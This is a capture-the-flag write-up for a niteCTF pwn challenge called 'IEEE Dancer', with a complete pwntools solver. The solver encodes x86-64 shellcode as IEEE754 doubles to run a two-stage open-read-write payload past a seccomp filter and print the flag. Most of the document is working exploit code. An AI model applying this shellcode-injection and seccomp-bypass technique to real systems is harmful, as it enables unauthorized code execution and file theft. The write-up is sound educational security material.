//IEEE Dancer
Challenge: IEEE Dancer
Category: PWN
Author: crabsnk
Connection: ncat --ssl dancer.chals.nitectf25.live 1337
Flag: nite{W4stem4n_dr41nss_aLLth3_fl04Ts_int0_ex3cut5bl3_sp4ce}
>TL;DR
The binary reads n IEEE754 doubles from you via scanf("%lf"), callocs a buffer, then makes that buffer RWX with mprotect and finally calls it. A seccomp filter only allows open/read/write/exit. We encode a tiny stage‑1 shellcode into non‑NaN doubles, let the program mprotect+call it, have it read() a larger stage‑2 ORW payload, and then print the flag.
>1. Initial Recon
Files Provided
chall– PIE, Full RELRO, Canary, NX, not stripped- Links against
libseccomp.so.2→ syscall filtering
Protections
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
First Interaction
Running the binary:
enter the number of floats you want to enter!
If we give 0, it crashes with a segfault after printing:
draining in progress...
>2. Reversing the Binary
Main Flow (main)
- Disable buffering on stdio streams.
- Prompt for the number of floats (
%d), enforcen ≤ 100. calloc(n * 8)→ buffer.- Loop
ntimes:scanf("%lf", &buf[i]). - Compute page alignment:
buf & ~0xfff→ page. mprotect(page, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC).- Call
enable_seccomp(). - Call the buffer:
call rdx(whererdxpoints tocallocbuffer).
Seccomp (enable_seccomp)
The function installs a whitelist filter allowing only:
read(0)write(1)open(2)exit(60)exit_group(231)
All other syscalls result in SIGSYS.
Vulnerability
- The buffer becomes executable (
RWX). - The program jumps into user‑controlled data (our doubles).
- No stack canary or PIE issues matter because we get direct code execution.
>3. Exploit Strategy
Constraints
- We can only send doubles (
%lf) viascanf. - Doubles that are NaN/Inf (exponent all 1s) cause
scanfto read0.0into the buffer, corrupting our shellcode. - After the doubles are read, seccomp is enabled; only ORW+exit syscalls are allowed.
- We need to run arbitrary code despite the double‑encoding limitation.
Two‑Stage Payload
- Stage‑1 (tiny, fits in a few doubles):
- Performs
read(0, buf+0x100, 0x400)to pull in a larger raw payload. jmp buf+0x100.- Must be encoded as non‑NaN doubles.
- Stage‑2 (raw bytes):
- ORW shellcode:
open→read→write→exit. - Tries common flag paths (
flag,/flag,flag.txt, etc.).
Double Encoding
- Use
float.hex()to get a C99‑compatible hex‑float string. scanf("%lf")parses it back to the exact IEEE754 bits.- Ensure every 8‑byte chunk of stage‑1 has exponent ≠ 0x7ff (not NaN/Inf).
>4. Local Exploitation
Solver Script (solve.py)
- Stage‑1 generation: try up to 8 NOP prefixes to avoid NaN qwords.
- Stage‑2 ORW: tries multiple flag paths until one opens successfully.
- Argument handling: supports local and remote (SSL) modes.
Key Functions
def build_stage1(stage2_off=0x100, stage2_len=0x400):
base = asm(f"""
mov rbx, rdx
xor edi, edi
lea rsi, [rbx + {stage2_off}]
mov edx, {stage2_len}
xor eax, eax
syscall
jmp rsi
""")
# Pad to 8-byte alignment, avoid NaN/Inf qwords
...
def build_stage2_orw_try_paths(paths, n=0x200):
# Generate shellcode that tries each path with open/read/write/exit
...
def send_payload(io, stage1, stage2):
# Send number of doubles, then each double as hex-float string
# Then send raw stage2 bytes
...
Local Test
python3 solve.py /etc/hostname
Output:
NOIGEL
(Hostname printed cleanly, confirming code execution.)
>5. Remote Exploitation
Target
dancer.chals.nitectf25.live:1337 (SSL)
Command
python3 solve.py REMOTE dancer.chals.nitectf25.live 1337
Result
nite{W4stem4n_dr41nss_aLLth3_fl04Ts_int0_ex3cut5bl3_sp4ce}
The exploit works exactly the same as local, just over SSL.
>6. Full Solver Code
#!/usr/bin/env python3
from pwn import *
import struct
import sys
context.update(arch='amd64', os='linux')
BIN_PATH = './chall'
def parse_args(argv: list[str]) -> tuple[str, str | None, int | None, list[str]]:
# pwntools consumes known flags like REMOTE from sys.argv, so rely on args.REMOTE.
# Typical usage:
# python3 solve.py REMOTE host port [paths...]
# After pwntools processing, argv often becomes: [host, port, ...]
if getattr(args, 'REMOTE', False):
if len(argv) < 2:
raise SystemExit('Usage: solve.py REMOTE <host> <port> [paths...]')
host = argv[0]
port = int(argv[1])
paths = argv[2:]
return 'remote', host, port, paths
# Fallback if pwntools argument parsing is disabled.
if len(argv) >= 1 and argv[0].strip().casefold() == 'remote':
if len(argv) < 3:
raise SystemExit('Usage: solve.py REMOTE <host> <port> [paths...]')
host = argv[1]
port = int(argv[2])
paths = argv[3:]
return 'remote', host, port, paths
return 'local', None, None, argv
def connect(mode: str, host: str | None, port: int | None):
if mode == 'remote':
if host is None or port is None:
raise ValueError('remote mode requires host/port')
return remote(host, port, ssl=True)
return process(BIN_PATH)
def qword_is_nan_or_inf(q: int) -> bool:
# IEEE754 double: exponent bits 52..62 all ones => Inf/NaN
exp = (q >> 52) & 0x7ff
if exp != 0x7ff:
return False
return True
def qword_to_double_str(q: int) -> str:
d = struct.unpack('<d', p64(q))[0]
# Use exact C99 hex-float roundtrip representation
return float.hex(d)
def build_stage1(stage2_off: int = 0x100, stage2_len: int = 0x400) -> tuple[bytes, int]:
base = asm(
f"""
mov rbx, rdx
xor edi, edi
lea rsi, [rbx + {stage2_off}]
mov edx, {stage2_len}
xor eax, eax
syscall
jmp rsi
"""
)
# Try up to 8 different alignments (prefix NOPs) to avoid NaN/Inf qwords
for nop_prefix in range(8):
sc = b'\\x90' * nop_prefix + base
sc = sc.ljust(((len(sc) + 7) // 8) * 8, b'\\x90')
ok = True
for i in range(0, len(sc), 8):
q = u64(sc[i:i+8])
if qword_is_nan_or_inf(q):
ok = False
break
if ok:
return sc, nop_prefix
raise ValueError('Could not find NaN/Inf-free qword packing for stage1')
def build_stage2_dump_file(path: bytes = b'chall', n: int = 0x100) -> bytes:
# ORW: open(path, O_RDONLY) -> read(fd, rsp, n) -> write(1, rsp, n) -> exit(0)
if isinstance(path, (bytes, bytearray)):
path = path.decode()
sc = ''
sc += shellcraft.amd64.linux.open(path, 0)
sc += shellcraft.amd64.linux.read('rax', 'rsp', n)
sc += shellcraft.amd64.linux.write(1, 'rsp', n)
sc += shellcraft.amd64.linux.exit(0)
return asm(sc)
def build_stage2_orw_try_paths(paths: list[str], n: int = 0x200) -> bytes:
# Try open() on multiple paths; first success is used.
# Uses only syscalls allowed by seccomp: open(2), read(0), write(1), exit/exit_group.
if not paths:
raise ValueError('paths must be non-empty')
sc = ''
labels = [f'path_{i}' for i in range(len(paths))]
sc += 'xor eax, eax\\n'
sc += 'xor edi, edi\\n'
sc += 'xor esi, esi\\n'
sc += 'xor edx, edx\\n'
sc += f'jmp {labels[0]}\\n'
for i, p in enumerate(paths):
next_label = labels[i + 1] if i + 1 < len(paths) else 'fail'
sc += f'{labels[i]}:\\n'
sc += shellcraft.amd64.linux.open(p, 0)
sc += 'test eax, eax\\n'
sc += f'js {next_label}\\n'
sc += 'mov edi, eax\\n' # fd
sc += shellcraft.amd64.linux.read('rdi', 'rsp', n)
sc += 'mov edx, eax\\n' # bytes_read
sc += shellcraft.amd64.linux.write(1, 'rsp', 'rdx')
sc += shellcraft.amd64.linux.exit(0)
sc += 'fail:\\n'
sc += shellcraft.amd64.linux.write(1, 'rsp', 0) # no-op, keeps syscall set minimal
sc += shellcraft.amd64.linux.exit(1)
return asm(sc)
def send_payload(io, stage1: bytes, stage2: bytes):
n_qwords = len(stage1) // 8
io.sendlineafter(b'enter', str(n_qwords).encode())
# Program reads n_qwords doubles into the buffer
for i in range(n_qwords):
q = u64(stage1[i*8:(i+1)*8])
io.sendline(qword_to_double_str(q).encode())
# After scanf loop, it mprotects & enables seccomp, then calls buffer.
# Stage1 does a raw read(0, buf+off, len), so we can now send raw stage2 bytes.
io.send(stage2)
def main():
stage1, nop_prefix = build_stage1(stage2_off=0x100, stage2_len=0x400)
log.info(f'stage1_len={len(stage1)} nop_prefix={nop_prefix}')
# Default local sanity check reads a world-readable file.
# For remote, pass: flag /flag flag.txt
mode, host, port, paths = parse_args(sys.argv[1:])
io = connect(mode, host, port)
if not paths:
paths = ['flag', '/flag', 'flag.txt', '/app/flag', '/home/ctf/flag', '/etc/hostname']
stage2 = build_stage2_orw_try_paths(paths, 0x200)
log.info(f'stage2_len={len(stage2)} paths={paths}')
send_payload(io, stage1, stage2)
data = io.recvall(timeout=2)
print(data)
if __name__ == '__main__':
main()